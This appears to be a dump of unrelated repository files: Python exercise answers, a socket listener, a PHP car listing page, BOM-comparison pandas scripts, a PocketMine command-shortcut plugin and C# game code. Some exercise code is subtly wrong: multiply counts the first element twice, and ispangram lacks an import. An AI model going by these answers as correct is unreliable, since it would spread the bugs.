print()
print('Write a Python function that takes a list and returns a new list with unique elements of the first list.')
def unique_list(lst):
x = []
for a in lst:
if a not in x:
x.append(a)
return x
print(unique_list([1,1,1,1,2,2,3,3,3,3,4,5]))
print()
print('Write a Python function to multiply all the numbers in a list.')
def multiply(numbers):
total = numbers[0]
for x in numbers:
total *= x
return total
print(multiply([1,2,3,-4]))
print()
print('Write a Python function that checks whether a passed in string is palindrome or not.')
print('Note: A palindrome is word, phrase, or sequence that reads the same backward as forward, e.g., madam or nurses run.')
def palindrome(s):
return s == s[::-1]
print(palindrome('helleh'))
print()
print('Write a Python function to check whether a string is pangram or not.')
print('Note : Pangrams are words or sentences containing every letter of the alphabet at least once.')
print('For example : "The quick brown fox jumps over the lazy dog"')
def ispangram(str1, alphabet=string.ascii_lowercase):
alphaset = set(alphabet)
return alphaset <= set(str1.lower())
print(ispangram("The quick brown fox jumps over the lazy dog"))<file_sep>#This script is used to check for server time jitter.
import requests
import sys
input = sys.argv[1]
def averagetimer(url):
i = 0
values = []
while i < 100:
r = requests.get(url)
values.append(int(r.elapsed.total_seconds()))
i = i + 1
average = sum(values) / float(len(values))
return average
averagetimer(input)<file_sep>#TCP Clients in python
#Creation of sockets
import socket
#Create socket object
s = socket.socket()
print("Socket successfully created")
#reserve a port
port = 1989
#bind to port
s.bind(('',port))
print('Socket binded to port: %s'%(port))
#put the soccket into listening mode
s.listen(5)
print("Socket is now listening")
#a forever loop until we exit
while True:
#establish connection with client
c, addr = s.accept()
print ('Got connection from', addr) | 571ebcf06cc01309231a97a963f531f8dd90963d | [
"Markdown",
"Python",
"PHP",
"Shell"
] | 142 | Python | SV-ZeroOne/Python-Projects | 8820c346e0dde3b4023ce400cb722d08c1b4c52e | 3da0ec813e2764d5a3cd8f1d9825e698e368a84e |
refs/heads/master | <file_sep><?php
class Car
{
private $make_model;
private $price;
private $miles;
private $photo;
function __construct($make_model, $price, $miles, $photo)
{
$this->make_model = $make_model;
$this->price = $price;
$this->miles = $miles;
$this->photo = $photo;
}
function setModel($new_make_model)
{
$this->make_model = (string) $new_make_model;
}
function getModel()
{
return $this->make_model;
}
function setPrice($new_price)
{
$this->price = (float) $new_price;
}
function getPrice()
{
return $this->price;
}
function setMiles($new_miles)
{
$this->miles = (float) $new_miles;
}
function getMiles()
{
return $this->miles;
}
function setPhoto($new_photo)
{
$this->photo = (string) $new_photo;
}
function getPhoto()
{
return $this->photo;
}
}
$first_car = new Car("2014 Porsche 911", 114991, 7864, "images/porsche.jpg");
$second_car = new Car("2011 Ford F450", 55995, 14241, "images/ford.jpg");
$third_car = new Car("2013 Lexus RX 350", 44700, 20000, "images/lexus.jpg");
$fourth_car = new Car("<NAME> CLS550", 39900, 37979, "images/mercedes.jpg");
$cars = array($first_car, $second_car, $third_car, $fourth_car);
$cars_matching_search = array();
foreach ($cars as $car) {
if ($car->getPrice() < $_GET["price"]) {
if($car->getMiles() < $_GET["miles"]) {
array_push($cars_matching_search, $car);
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css" rel="stylesheet>"
<title>Your Car Dealership's Homepage</title>
</head>
<body>
<h1>Steve and Sam's Hotrod Dealership</h1>
<ul>
<?php
foreach ($cars_matching_search as $car) {
$car_make = $car->getModel();
$car_price = $car->getPrice();
$car_miles = $car->getMiles();
$car_photo = $car->getPhoto();
echo "<li> $car_make</li>";
echo "<ul>";
echo "<li> $car_price </li>";
echo "<li> Miles: $car_miles </li>";
echo "<li> <img src= '$car_photo'> </li>";
echo "</ul>";
}
if(empty($cars_matching_search)) {
echo "No cars!";
}
?>
</ul>
</body>
</html>
<file_sep># epicodus_car
Going over PHP car things.
| c2efe3f846dce965751c4b8adb70ea69d1c4eba7 | [
"Markdown",
"PHP"
] | 2 | PHP | sammartinez/epicodus_car | ab9618768c9e775e26ad25025ce66a0abbbb83e0 | 7c0acc8628997c7346e8ed8841738527a737b26e |
refs/heads/main | <file_sep>"# 02_BOM_compare_with_TXT"
<file_sep>import pandas as pd
import numpy as np
import os, glob
from datetime import datetime
import win32com.client as win32
now = datetime.now()
current_time = now.strftime('%Y-%m-%d')
pd.set_option('display.width', 320)
pd.set_option('display.max_columns',10)
CURRENT_DIR = os.getcwd()
EXCEL_FILE_NAMES = glob.glob(os.path.join(CURRENT_DIR,'*.xls'))
TEXT_FILE_NAMES = glob.glob(os.path.join(CURRENT_DIR,'*.txt'))
for BONGS in EXCEL_FILE_NAMES:
excel = win32.gencache.EnsureDispatch('Excel.Application')
wb = excel.Workbooks.Open(BONGS)
wb.SaveAs(BONGS + "x", FileFormat=51) # FileFormat = 51 is for .xlsx extension
wb.Close() # FileFormat = 56 is for .xls extension
excel.Application.Quit()
df = pd.read_excel(BONGS + 'x', header=None)
os.remove(BONGS + 'x')
Just_excel_name = os.path.splitext(os.path.basename(BONGS))[0] #FILE_NAME 준비
SECOND_SIDE = df.iloc[1,4] #2차면 이름
if SECOND_SIDE.endswith('91'): #1차면 이름
x = df[3].str.match('[A-Za-z0-9]*90$')
Nr_of_90 = len(df[x==True])
if Nr_of_90 >0 :
TRUE_OR_FALSE = df[3].str.endswith("90")
FIRST_SIDE = df.iloc[df[TRUE_OR_FALSE == True].index[0], 3]
else:
FIRST_SIDE = "NO_FIRST_SIDE"
elif SECOND_SIDE.endswith("S"):
FIRST_SIDE = SECOND_SIDE + "1"
else:
FIRST_SIDE = "NO_FIRST_SIDE"
df[3] = df[3].str.replace('<', '')
df[3] = df[3].str.replace('>', '')
df[3] = df[3].str.replace('(', '')
df[3] = df[3].str.replace(')', '')
df[3] = df[3].str.replace(FIRST_SIDE, '')
df2 = df.iloc[8:,1:4]
df2 = df2.rename(columns = {1:'SMD_Nr',2:'Item',3:'Ref#'})
df2.loc[df2['SMD_Nr'] == 1,'SMD_Nr'] = SECOND_SIDE
df2.loc[df2['SMD_Nr'] == 2, 'SMD_Nr'] = FIRST_SIDE
df2['SMD_Nr'].fillna(method='ffill', inplace = True)
df2['Item'].fillna(method='ffill', inplace = True)
df2=df2.dropna()
df3 = pd.DataFrame({'BOM_part': df2[df2['Ref#'].str.match('^[A-Za-z0-9]{10,13}$')]['Ref#'].tolist(), # part#를 찾음. 10~13길이의 문자와 숫자의 조합. 특수문자 제외
'Description': df2.loc[df2[df2['Ref#'].str.match('^[A-Za-z0-9]{10,13}$')].index + 1]['Ref#'].tolist() #part#바로 다음의 index를 list로 만듦
})
df4 = pd.merge(df2,df3, left_on='Ref#', right_on='BOM_part', how= 'left')
df4.drop(df4[df4['Ref#'].isin(df4['Description'])].index, inplace = True)
df4=df4.drop_duplicates()
df4.loc[df4['Ref#'] == df4['BOM_part'], 'Ref#'] = ''
df4['BOM_part'].fillna(method='ffill', inplace = True)
df4['Description'].fillna(method='ffill', inplace = True)
m = [] #공백이라서 dropna가 안먹혔다. --> Ref#가 공백이 부분 index를 찾아 list로 만든 후 해당 index의 row를 한번에 drop시킴
for n in df4['Ref#'].index:
if df4.loc[n,'Ref#']=='':
m = m+[n]
df4=df4.drop(m)
df4 = df4.set_index(['SMD_Nr','Item','BOM_part', 'Description']).apply(lambda x: x.str.split(',').explode()).reset_index()
df4 = df4.dropna() #V0에서 추가: FIRST_NAME인 것을 공백으로 만들고 바로 다음행의 description이 계속 남아서..
P = [] # 공백이라서 dropna가 안먹혔다. --> Ref#가 공백이 부분 index를 찾아 list로 만든 후 해당 index의 row를 한번에 drop시킴
for n in df4['Ref#'].index:
if df4.loc[n, 'Ref#'] == '':
P = P + [n]
df4=df4.drop(P)
# 'Ref#'에 필요없는 문자열 삭제
BOM = df4.loc[df4['Ref#'] == 'BOM', 'Ref#'].index #BOM에 Ref# 자리에 'BOM' string이 들어간 경우가 있었다. 그래서 이놈 삭제
PCB = df4.loc[df4['Ref#'] == 'PCB', 'Ref#'].index # BOM에 Ref# 자리에 'PCB' string이 들어간 경우가 있었다. 그래서 이놈 삭제
PC_Board = df4.loc[df4['Ref#'] == 'PC-Board', 'Ref#'].index # BOM에 Ref# 자리에 'PC-Board' string이 들어간 경우가 있었다. 그래서 이놈 삭제
Main_PCB = df4.loc[df4['Ref#'] == 'Main PCB', 'Ref#'].index # BOM에 Ref# 자리에 'MAIN PCB' string이 들어간 경우가 있었다. 그래서 이놈 삭제
df4['Ref#'] = df4['Ref#'].str.replace(' ', '') # BOM에 Ref# 자리에 whitespace가 string에 들어간 경우가 있었다. 그래서 이놈 삭제
df4.drop(BOM, inplace=True)
df4.drop(PCB, inplace=True)
df4.drop(PC_Board, inplace=True)
df4.drop(Main_PCB, inplace=True)
# df4.drop(Whitespace, inplace=True)
df4['Ref#'] = df4['Ref#'].str.upper() #Ref#가 소문자가 포함된게 있더라 그래서 모두 대문자 처리
first_side_thing = df4.loc[df4['SMD_Nr'] == FIRST_SIDE, 'SMD_Nr'].index # BOM에 1차면들 다 삭제하고 싶음
df4.drop(first_side_thing, inplace=True) # BOM에 1차면들 다 삭제하고 싶음
if FIRST_SIDE == "NO_FIRST_SIDE":
df6 = pd.read_csv(SECOND_SIDE + ".txt", sep="\t", header=None) # 2ndside txt file import
df6 = df6[[0, 1, 2, 8]]
df6[0] = df6[0].str.extract("^[\w\.\s\\\]*\\\\(.*)") # folder 명 IBU2.0에서 .을 못찾아서 추가해줌 / folder에 공백 못찾아서 \s 추가해줌
df6[2] = df6[2].str.extract("^[\w\.\s\\\]*\\\\(.*)")
df6 = df6.rename(columns={0: 'List_side', 1: 'Ref#', 2: 'List_part', 8: 'List_omitted?'})
df6.drop(df6.loc[df6['List_omitted?'] == True].index, inplace=True)
df7 = df6
else:
# df5 = pd.read_csv(FIRST_SIDE + ".txt", sep="\t", header=None) # 1stside txt file import
# df5 = df5[[0, 1, 2, 8]]
# df5[0] = df5[0].str.extract("^[\w\.\s\\\]*\\\\(.*)") # folder 명 IBU2.0에서 .을 못찾아서 추가해줌 /folder에 공백 못찾아서 \s 추가해줌
# df5[2] = df5[2].str.extract("^[\w\.\s\\\]*\\\\(.*)")
# df5 = df5.rename(columns={0: 'List_side', 1: 'Ref#', 2: 'List_part', 8: 'List_omitted?'})
# df5.drop(df5.loc[df5['List_omitted?'] == True].index, inplace=True)
df6 = pd.read_csv(SECOND_SIDE + ".txt", sep="\t", header=None) # 2ndside txt file import
df6 = df6[[0, 1, 2, 8]]
df6[0] = df6[0].str.extract("^[\w\.\s\\\]*\\\\(.*)") # folder 명 IBU2.0에서 .을 못찾아서 추가해줌
df6[2] = df6[2].str.extract("^[\w\.\s\\\]*\\\\(.*)")
df6 = df6.rename(columns={0: 'List_side', 1: 'Ref#', 2: 'List_part', 8: 'List_omitted?'})
df6.drop(df6.loc[df6['List_omitted?'] == True].index, inplace=True)
# df7 = pd.concat([df5, df6]) # BOM과 합치기 위해 df5,6 merging
df7 = df6
dfmerged = pd.merge(df4, df7, on='Ref#', how = 'outer') #BOM과 Placement list merging
dfmerged['Comparison'] = np.where(dfmerged['BOM_part']==dfmerged['List_part'], 'OK', 'NG')
dfmerged.dropna()
dfmerged = dfmerged.sort_values(by=['Comparison'], ascending=True, na_position='first') #'Comparison' column을 기준으로 오름차순. NaN이 가장 위로!
Comparison_Nr = dfmerged['Comparison'].to_list() #'Comparison' result를 밖에 써주기 위해
OK_Nr = Comparison_Nr.count('OK')
NG_Nr = Comparison_Nr.count('NG')
OK_Nr_name = "OK %d, NG %d" % (OK_Nr,NG_Nr)
#마지막에 시각적으로 좋게 하기 위해 열 순서를 변경
dfmerged = dfmerged[['Item','Description', 'SMD_Nr', 'BOM_part','Ref#','List_part','List_side','List_omitted?', 'Comparison']]
dfmerged.to_excel(current_time+ '_' +SECOND_SIDE+ '_Result_' +OK_Nr_name +'.xlsx')
print(FIRST_SIDE, "_completed")
print("FINISHED")
#this is for the commit
<file_sep>import pandas as pd
import numpy as np
import os, glob
from datetime import datetime
import win32com.client as win32
now = datetime.now()
current_time = now.strftime('%Y-%m-%d')
pd.set_option('display.width', 320)
pd.set_option('display.max_columns',10)
CURRENT_DIR = os.getcwd()
EXCEL_FILE_NAMES = glob.glob(os.path.join(CURRENT_DIR,'*.xls'))
TEXT_FILE_NAMES = glob.glob(os.path.join(CURRENT_DIR,'*.txt'))
for BONGS in EXCEL_FILE_NAMES:
excel = win32.gencache.EnsureDispatch('Excel.Application')
wb = excel.Workbooks.Open(BONGS)
wb.SaveAs(BONGS + "X", FileFormat=51) # FileFormat = 51 is for .xlsx extension
wb.Close() # FileFormat = 56 is for .xls extension
excel.Application.Quit()
df = pd.read_excel(BONGS + 'X', header=None)
os.remove(BONGS + 'x')
Just_excel_name = os.path.splitext(os.path.basename(BONGS))[0] #FILE_NAME 준비
SECOND_SIDE = df.iloc[1,5] #2차면 이름
if SECOND_SIDE.endswith('91'): #1차면 이름 얻기
x = df[3].str.match('[A-Za-z0-9]*90$')
Nr_of_90 = len(df[x==True])
if Nr_of_90 >0 :
TRUE_OR_FALSE = df[3].str.endswith("90")
FIRST_SIDE = df.iloc[df[TRUE_OR_FALSE == True].index[0], 3]
else:
FIRST_SIDE = "NO_FIRST_SIDE"
elif SECOND_SIDE.endswith("S"):
FIRST_SIDE = SECOND_SIDE + "1"
else:
FIRST_SIDE = "NO_FIRST_SIDE"
df2 = df.iloc[8:, 1:7]
df2 = df2.rename(columns={1: 'SMD_Nr', 2: 'Item', 3: 'Before',6: 'Ref#'})
df2.loc[df2['SMD_Nr'] == 1, 'SMD_Nr'] = SECOND_SIDE
df2.loc[df2['SMD_Nr'] == 2, 'SMD_Nr'] = FIRST_SIDE
df2['SMD_Nr'].fillna(method='ffill', inplace=True)
df2['Item'].fillna(method='ffill', inplace=True)
regex = '^AT=E' #AT=E로 시작하는 것들 지우기 위해
df2.drop(df2.loc[df2['Before'].str.match(regex) == True].index, inplace=True)
df2['Description'] = df2['Before'].shift(1)
df2['BOM_part'] = df2['Before'].shift(2)
component = '^[A-Za-z0-9]{10,13}$'
df2.loc[~df2.BOM_part.str.contains(component, na=False), 'BOM_part'] = np.nan #component를 포함하는게 아닌 놈들을 NaN으로 변경
df2['Description'] = df2['Description'].str.replace(component, '')
df2['Description'] = df2['Description'].replace(r'^\s*$', np.NaN, regex=True) #component를 공백으로 만들어주고 NaN으로 변경
df2.BOM_part = df2.BOM_part.ffill()
df2.Description = df2.Description.ffill()
df2 = df2.loc[df2["Ref#"].notnull(), ["SMD_Nr", 'Item', 'Ref#', "Description","BOM_part"]]
df2.columns = ["SMD_Nr", 'Item', 'Ref#', "Description","BOM_part"]
#'Ref#'에 필요없는 문자열 삭제
BOM = df2.loc[df2['Ref#'] == 'BOM', 'Ref#'].index #BOM에 Ref# 자리에 'BOM' string이 들어간 경우가 있었다. 그래서 이놈 삭제
PCB = df2.loc[df2['Ref#'] == 'PCB', 'Ref#'].index # BOM에 Ref# 자리에 'PCB' string이 들어간 경우가 있었다. 그래서 이놈 삭제
PC_Board = df2.loc[df2['Ref#'] == 'PC-Board', 'Ref#'].index # BOM에 Ref# 자리에 'PC-Board' string이 들어간 경우가 있었다. 그래서 이놈 삭제
Main_PCB = df2.loc[df2['Ref#'] == 'Main PCB', 'Ref#'].index # BOM에 Ref# 자리에 'MAIN PCB' string이 들어간 경우가 있었다. 그래서 이놈 삭제
df2['Ref#'] = df2['Ref#'].str.replace(' ', '') # BOM에 Ref# 자리에 whitespace가 string에 들어간 경우가 있었다. 그래서 이놈 삭제
df2.drop(BOM, inplace=True)
df2.drop(PCB, inplace=True)
df2.drop(PC_Board, inplace=True)
df2.drop(Main_PCB, inplace=True)
df4 = df2.loc[:, ['SMD_Nr', 'Item', 'Ref#', 'Description', 'BOM_part']]
df4['Ref#'] = df4['Ref#'].str.upper() # Ref#가 소문자가 포함된게 있더라 그래서 모두 대문자 처리
first_side_thing = df2.loc[df2['SMD_Nr'] == FIRST_SIDE, 'SMD_Nr'].index # BOM에 1차면들 다 삭제하고 싶음
df4.drop(first_side_thing, inplace=True) # BOM에 1차면들 다 삭제하고 싶음
if FIRST_SIDE == "NO_FIRST_SIDE":
df6 = pd.read_csv(SECOND_SIDE + ".txt", sep="\t", header=None) # 2ndside txt file import
df6 = df6[[0, 1, 2, 8]]
df6[0] = df6[0].str.extract("^[\w\.\s\\\]*\\\\(.*)") # folder 명 IBU2.0에서 .을 못찾아서 추가해줌
df6[2] = df6[2].str.extract("^[\w\.\s\\\]*\\\\(.*)")
df6 = df6.rename(columns={0: 'List_side', 1: 'Ref#', 2: 'List_part', 8: 'List_omitted?'})
df6.drop(df6.loc[df6['List_omitted?'] == True].index, inplace=True)
df7 = df6
else:
# df5 = pd.read_csv(FIRST_SIDE + ".txt", sep="\t", header=None) # 1stside txt file import
# df5 = df5[[0, 1, 2, 8]]
# df5[0] = df5[0].str.extract("^[\w\.\s\\\]*\\\\(.*)") # folder 명 IBU2.0에서 .을 못찾아서 추가해줌 / folder에 공백 못찾아서 \s 추가해줌
# df5[2] = df5[2].str.extract("^[\w\.\s\\\]*\\\\(.*)")
# df5 = df5.rename(columns={0: 'List_side', 1: 'Ref#', 2: 'List_part', 8: 'List_omitted?'})
# df5.drop(df5.loc[df5['List_omitted?'] == True].index, inplace=True)
df6 = pd.read_csv(SECOND_SIDE + ".txt", sep="\t", header=None) # 2ndside txt file import
df6 = df6[[0, 1, 2, 8]]
df6[0] = df6[0].str.extract("^[\w\.\s\\\]*\\\\(.*)") # folder 명 IBU2.0에서 .을 못찾아서 추가해줌 / folder에 공백 못찾아서 \s 추가해줌
df6[2] = df6[2].str.extract("^[\w\.\s\\\]*\\\\(.*)")
df6 = df6.rename(columns={0: 'List_side', 1: 'Ref#', 2: 'List_part', 8: 'List_omitted?'})
df6.drop(df6.loc[df6['List_omitted?'] == True].index, inplace=True)
# df7 = pd.concat([df5, df6]) # BOM과 합치기 위해 df5,6 merging
df7 = df6
dfmerged = pd.merge(df4, df7, on='Ref#', how='outer') # BOM과 Placement list merging
dfmerged['Comparison'] = np.where(dfmerged['BOM_part'] == dfmerged['List_part'], 'OK', 'NG')
dfmerged.dropna()
dfmerged = dfmerged.sort_values(by=['Comparison'], ascending=True,
na_position='first') # 'Comparison' column을 기준으로 오름차순. NaN이 가장 위로!
Comparison_Nr = dfmerged['Comparison'].to_list() # 'Comparison' result를 밖에 써주기 위해
OK_Nr = Comparison_Nr.count('OK')
NG_Nr = Comparison_Nr.count('NG')
OK_Nr_name = "OK %d, NG %d" % (OK_Nr, NG_Nr)
#마지막에 시각적으로 좋게 하기 위해 열 순서를 변경
dfmerged = dfmerged[['Item','Description', 'SMD_Nr', 'BOM_part','Ref#','List_part','List_side','List_omitted?', 'Comparison']]
dfmerged.to_excel(current_time + '_' + SECOND_SIDE + '_Result_' + OK_Nr_name + '.xlsx')
print(FIRST_SIDE, "_completed")
print("FINISHED") | e395f01a10604673a72b8f22b9f29ba22fb2fe02 | [
"Markdown",
"Python"
] | 3 | Markdown | qhdwktm363554/02_BOM_compare_with_TXT | f1690d825539949ebce29cdc8aff7b58cb7425dc | 99306193a1e8f1835b788c0e578ac9f7f7962c4f |
refs/heads/master | <file_sep># EasyCMD
[](https://poggit.pmmp.io/ci/BoxOfDevs/Functions/Functions)
<file_sep><?php
namespace EasyCMD;
use pocketmine\command\{Command, CommandSender, ConsoleCommandSender};
use pocketmine\Player;
use pocketmine\event\Listener;
use pocketmine\plugin\PluginBase;
use pocketmine\utils\TextFormat as C;
class EasyCMD extends PluginBase implements Listener{
public function onEnable(){
$this->getServer()->getPluginManager()->registerEvents($this, $this);
$this->getLogger()->info(C::GREEN."EasyCMD has successfully loaded!");
$this->getLogger()->info(C::YELLOW."Type '/EH' to find commands!");
}
public function onCommand(CommandSender $sender, Command $cmd, $label, array $args){
switch(strtolower($cmd->getName())){
case "s":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("gamemode 0 {$sender}"));
break;
case "c":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("gamemode 1 {$sender}"));
break;
case "a":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("gamemode 2 {$sender}"));
break;
case "sp":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("gamemode 3 {$sender}"));
break;
case "bl":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("banlist"));
break;
case "dgs":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("defaultgamemode 0"));
break;
case "dgc":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("defaultgamemode 1"));
break;
case "dga":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("defaultgamemode 2"));
break;
case "dgsp":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("defaultgamemode 3"));
break;
case "al":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("pardon {$sender}"));
break;
case "alip":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("pardon-ip {$sender}"));
break;
case "pl":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("plugins"));
break;
case "re":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("reload"));
break;
case "s-a":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("save-all"));
break;
case "sws":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("setworldspawn"));
break;
case "ssp":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("spawnpoint"));
break;
case "tmo":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("timings on"));
break;
case "tmn":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("timings off"));
break;
case "v":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("version"));
break;
case "wc":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("weather clear"));
break;
case "wr":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("weather rain"));
break;
case "wt":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("weather thunder"));
break;
case "wlo":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("whitelist on"));
break;
case "wln":
$this->getServer()->dispatchCommand(new ConsoleCommandSender("whitelist off"));
break;
case "eh":
$sender->sendMessage("/eh: Show the EasyCMD help page");
$sender->sendMessage("/s: Change your gamemode to survival");
$sender->sendMessage("/c: Change your gamemode to creative");
$sender->sendMessage("/a: Change your gamemode to adventure");
$sender->sendMessage("/sp: Change your gamemode to spectator");
$sender->sendMessage("/bl: View all players banned from this server");
$sender->sendMessage("/dgs: Set the default gamemode to survival");
$sender->sendMessage("/dgc: Set the default gamemode to creative");
$sender->sendMessage("/dga: Set the default gamemode to adventure");
$sender->sendMessage("/dgsp: Set the default gamemode to spectator");
$sender->sendMessage("/al: Allow a player back onto the server");
$sender->sendMessage("/alip: Allow an IP back onto the server");
$sender->sendMessage("/pl: View a list of all plugins running on the server");
$sender->sendMessage("/re: Reload the server config and plugins");
$sender->sendMessage("/s-a: Saves the server to disk");
$sender->sendMessage("/sws: Sets a world's spawn point. The command sender's coordinates will be used.");
$sender->sendMessage("/sp: Set's a player's spawn point");
$sender->sendMessage("/tmo: Turns timings on to record server performance");
$sender->sendMessage("/tmn: Turns timings off to stop recording server performance");
$sender->sendMessage("/v: Gets the version of this server including any plugins in use");
$sender->sendMessage("/wc: Changes the weather to clear");
$sender->sendMessage("/wr: Changes the weather to rain");
$sender->sendMessage("/wt: Changes the weather to a thunderstorm");
$sender->sendMessage("/wlo: Turns the whitelist on");
$sender->sendMessage("/wln: Turns the whitelist off");
break;
}
return true;
}
public function onDisable(){
$this->getLogger()->info(C::DARK_RED."EasyCMD has successfully Disabled!");
$this->getLogger()->info(C::YELLOW."Did the server stop?");
}
}
| 20460b4fcbdd560bf23a962ef98e193b53b72c2a | [
"Markdown",
"PHP"
] | 2 | Markdown | remotevase/EasyCMD | e9c0ff8bcfc505c9f3193f5b89e136b39a0c93e1 | 6ac29c390bd013367de081f3294dfb137b04494f |
refs/heads/master | <repo_name>ftunholm/Injector-for-tibia-api-project<file_sep>/tibia_injector_project/Form1.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using TibiaAPI_Project.Player;
namespace tibia_injector_project
{
public partial class Form1 : Form
{
Injector inj;
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
}
private void inject_btn_Click(object sender, EventArgs e)
{
inj = new Injector();
}
private void button1_Click(object sender, EventArgs e)
{
inj.test();
}
}
}
| 99060e010b3a997fa92d885800bf6dae894e989e | [
"C#"
] | 1 | C# | ftunholm/Injector-for-tibia-api-project | c8722ca0af602994b331f8661be6072ab05d49ed | 22f664858617c98066219bb54b6369a6b9d8b495 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Menu.Buttons;
using Menu.Extensions;
namespace Menu.Controllers
{
class Controller
{
ButtonControler buttonController;
public Controller()
{
buttonController = new ButtonControler();
buttonController.NewButton(new NewGame(250, 100, TextureLoader.BtnNewGame));
buttonController.NewButton(new Exit(250, 250, TextureLoader.BtnExit));
}
internal void Update(Microsoft.Xna.Framework.GameTime gametime)
{
buttonController.Update(gametime);
}
internal void Draw(Microsoft.Xna.Framework.Graphics.SpriteBatch spriteBatch)
{
buttonController.Draw(spriteBatch);
}
}
}
<file_sep>namespace XNAGameConsole
{
using System;
public interface IConsoleCommand
{
string Execute(string[] arguments);
string Description { get; }
string Name { get; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Core.Extensions;
namespace Core.Towers
{
public class SmallTower : Tower
{
public SmallTower(int X, int Y)
: base(X, Y)
{
Texture = TextureLoader.SmallTower;
Speed = new TimeSpan(0, 0, 0, 1);
Radius = 105f;
Power = 3;
Cost = 5;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework.Content;
using Microsoft.Xna.Framework.Graphics;
namespace Core.Extensions
{
public static class TextureLoader
{
private static ContentManager content;
public static void Initialize(ContentManager contentManager)
{
content = contentManager;
}
private static Texture2D none;
public static Texture2D None
{
get
{
if (none == null)
none = content.Load<Texture2D>("None");
return none;
}
}
private static Texture2D smallTower;
public static Texture2D SmallTower
{
get
{
if (smallTower == null)
smallTower = content.Load<Texture2D>("SmallTower");
return smallTower;
}
}
private static Texture2D mediumTower;
public static Texture2D MediumTower
{
get
{
if (mediumTower == null)
mediumTower = content.Load<Texture2D>("MediumTower");
return mediumTower;
}
}
private static Texture2D largeTower;
public static Texture2D LargeTower
{
get
{
if (largeTower == null)
largeTower = content.Load<Texture2D>("BigTower");
return largeTower;
}
}
private static Texture2D road;
public static Texture2D Road
{
get
{
if (road == null)
road = content.Load<Texture2D>("Road");
return road;
}
}
private static Texture2D cursor;
public static Texture2D Cursor
{
get
{
if (cursor == null)
cursor = content.Load<Texture2D>("Cursor");
return cursor;
}
}
private static Texture2D start;
public static Texture2D Start
{
get
{
if (start == null)
start = content.Load<Texture2D>("Start");
return start;
}
}
private static Texture2D finish;
public static Texture2D Finish
{
get
{
if (finish == null)
finish = content.Load<Texture2D>("Finish");
return finish;
}
}
private static Texture2D testMonster;
public static Texture2D TestMonster
{
get
{
if (testMonster == null)
testMonster = content.Load<Texture2D>("Monster");
return testMonster;
}
}
private static Texture2D bullet;
public static Texture2D Bullet
{
get
{
if (bullet == null)
bullet = content.Load<Texture2D>("Bullet");
return bullet;
}
}
private static Texture2D tower;
public static Texture2D Tower
{
get
{
if (tower == null)
tower = content.Load<Texture2D>("Tower");
return tower;
}
}
private static Texture2D cross;
public static Texture2D Cross
{
get
{
if (cross == null)
cross = content.Load<Texture2D>("Cross");
return cross;
}
}
private static Texture2D sIBorder;
public static Texture2D ShopItemBorder
{
get
{
if (sIBorder == null)
sIBorder = content.Load<Texture2D>("ShopItemBorder");
return sIBorder;
}
}
private static Texture2D upgrade;
public static Texture2D Upgrade
{
get
{
if (upgrade == null)
upgrade = content.Load<Texture2D>("Upgrade");
return upgrade;
}
}
private static Texture2D bee;
public static Texture2D Bee
{
get
{
if (bee == null)
bee = content.Load<Texture2D>("Bee");
return bee;
}
}
private static Texture2D spider;
public static Texture2D Spider
{
get
{
if (spider == null)
spider = content.Load<Texture2D>("Spider");
return spider;
}
}
private static Texture2D bug;
public static Texture2D Bug
{
get
{
if (bug == null)
bug = content.Load<Texture2D>("Bug");
return bug;
}
}
private static Texture2D fly;
public static Texture2D Fly
{
get
{
if (fly == null)
fly = content.Load<Texture2D>("Fly");
return fly;
}
}
private static Texture2D lady;
public static Texture2D Lady
{
get
{
if (lady == null)
lady = content.Load<Texture2D>("Ladybug");
return lady;
}
}
private static Texture2D sell;
public static Texture2D Sell
{
get
{
if (sell == null)
sell = content.Load<Texture2D>("Sell");
return sell;
}
}
private static Texture2D circle;
public static Texture2D Circle
{
get
{
if (circle == null)
circle = content.Load<Texture2D>("Circle");
return circle;
}
}
private static SpriteFont fGold;
public static SpriteFont FGold
{
get
{
if (fGold == null)
fGold = content.Load<SpriteFont>("Gold_Font");
return fGold;
}
}
private static SpriteFont fDescr;
public static SpriteFont FDescr
{
get
{
if (fDescr == null)
fDescr = content.Load<SpriteFont>("Descr_Font");
return fDescr;
}
}
}
}
<file_sep>namespace XNAGameConsole.Commands
{
using System;
using System.Collections.Generic;
using XNAGameConsole;
internal class CommandComparer : IComparer<IConsoleCommand>
{
public int Compare(IConsoleCommand x, IConsoleCommand y)
{
return x.Name.CompareTo(y.Name);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using Microsoft.Xna.Framework.Graphics;
using Core.Map;
using Core.Extensions;
namespace Core.Monsters
{
public class Monster
{
public Vector2 Position { get; set; }
public Texture2D Texture { get; set; }
bool isMoving { get; set; }
